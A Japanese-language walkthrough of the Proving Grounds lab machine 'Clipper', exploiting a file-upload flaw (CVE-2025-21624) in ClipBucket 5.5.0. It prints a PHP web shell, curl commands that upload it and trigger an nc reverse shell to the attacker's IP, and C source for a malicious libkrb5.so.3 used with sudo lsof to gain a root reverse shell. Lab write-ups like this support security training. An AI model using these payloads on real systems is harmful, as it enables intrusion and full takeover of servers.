Proving Grounds Practice Clipper
列挙
┌──(kali㉿kali)-[~/oscp/clipper]
└─$ sudo nmap -sC -sV -A -O 192.168.103.191 -p- --open -Pn
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 fc:72:06:8f:ef:ec:9b:87:f3:95:ca:f2:e7:1f:ea:dc (ECDSA)
|_ 256 42:c2:f0:fd:85:f6:93:cb:bd:a0:e8:ed:c1:a2:6d:60 (ED25519)
80/tcp open http nginx 1.22.1
|_http-title: ClipBucketV5 - v5.5.0 STABLE - A way to broadcast yourself
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: nginx/1.22.1
TCP/80

ブラウザでアクセスすると上記のようなページが表示されます。
CLIPBUCKETで検索すると管理コンソールが「/admin_area」だとわかります。

admin/adminでログインができました。
そしてバージョンが5.5.0であることがわかります。
バージョン情報で検索するとCVE-2025-21624の脆弱性があることがわかります。
初期アクセス
CVE-2025-21624はplaylist coversでアップロードされたファイルが適切に検証されない脆弱性です。
ClipBucketにログイン(管理者ではなく)後、プロフィールから「My Playlists」に移動し、任意のプレイリストを作成します。

作成したプレイリストの「edit」をクリックします。
manage_playlists.php?mode=edit_playlist&pid=<your_playlist_id>が脆弱性のあるページです。
以下のシェルを作成します。
<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd'] . ' 2>&1');
}
?>
作成したshell.phpをアップロードします。
この時、PHPSESSID、sess_salt、pidは自身のものを指定します。
curl -X POST -F 'playlist_cover=@shell.php' -F 'upload_playlist_cover=submit' -b 'PHPSESSID=1kbavoacnuis7q08q2kcidpme0;cb_lang=1;sess_salt=866bf;' 'http://192.168.214.191/manage_playlists.php?mode=edit_playlist&pid=1'

その後、ncで待ち受けた状態で以下のコマンドを実行すると初期アクセスが取得できます。
curl 'http://192.168.214.191/images/playlist_covers/2025/10/06/1.php?cmd=nc%20192.168.45.237%208443%20-e%20/bin/bash'
※アップロードしたファイルのパスには途中日付が入ります。
以下のファイルにはpierreのsshアクセスに使用できるパスワードが含まれており、それを使ってSSHアクセスができます。
/opt/clipbucket-v5-5.5.0/upload/includes/config.php
権限昇格
pierreはsudoで/usr/bin/lsofを実行できます。
偽のlibkrb5.so.3を作成し、任意のコードを実行させます。
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
static void revShell() __attribute__((constructor));
void revShell() {
setuid(0);
setgid(0);
printf("Reverse Shell via library hijacking...\n");
const char *ncshell = "nc -e /bin/sh 192.168.45.237 8443 &";
system(ncshell);
}
上記をkali上でコンパイルしclipperにscpで送ります。
gcc -Wall -fPIC -c library.c -o library.o
gcc -shared library.o -o libkrb5.so.3
SCPの転送
scp libkrb5.so.3 pierre@192.168.214.191:/home/pierre
その後、ncで待ち受けた状態で以下実行することでrootが取得できます。
sudo LD_LIBRARY_PATH=/home/pierre /usr/bin/lsof
Discussion